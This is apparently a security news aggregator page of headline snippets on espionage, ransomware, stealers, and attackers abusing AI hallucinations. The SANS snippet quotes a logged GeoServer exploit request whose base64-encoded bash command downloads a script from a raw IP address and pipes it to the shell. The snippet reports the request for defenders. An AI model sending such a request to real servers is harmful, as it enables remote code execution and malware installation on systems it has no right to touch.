Don’t swing at everything
Welcome to this week’s edition of the Threat Source newsletter. Lately I’ve found myself thinking a lot about the Australian […]
Russian Global Webmail Espionage
Executive Summary Unit 42 has observed a persistent cyberespionage campaign we track as CL-STA-1114. This activity cluster overlaps with activity
Genetic clue could lead to future Alzheimer’s treatments
Researchers posit that changes in the three-dimensional structure of DNA inside brain cells may play a key role in Alzheimer’s
Proofpoint Research Finds 65% of Organizations Affected by Ransomware Say AI Made Attacks More Effective
Global study reveals that AI is amplifying phishing, impersonation and credential theft, transforming ransomware into a human-centric extortion problem SUNNYVALE, Calif., July 22, 2026 – Proofpoint, Inc., a global leader
Email threat landscape: Q2 2026 trends and insights
In this article The second quarter of 2026 (April–June) was largely defined by the continuing downstream effects following Microsoft’s Digital
Dolphin X Stealer Targets 300+ Apps and Profiles Users with AI
Varonis Threat Labs discovered Dolphin X advertised on a cybercrime forum by a vendor using the alias “Kontraktnik.”
Rondo Meets Geoserver – SANS Internet Storm Center
This isn’t a new attack, but something I saw “pop-up” in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host:
The New AI SOC Career Path
AI is absorbing the volume work that makes up the fundamental architecture of the Security Operations Center (SOC) tier system.
Attackers Exploit AI Hallucinations to Send Users to Phishing Sites
Threat actors are using a new technique called “phantom squatting” to trick AI tools into directing users to phishing sites,
Real world incident response: Microsoft and AXA XL strengthen cyber resilience
Cyber incidents don’t wait—and effective response can’t either. In the age of AI where cyber incidents unfold at machine speed,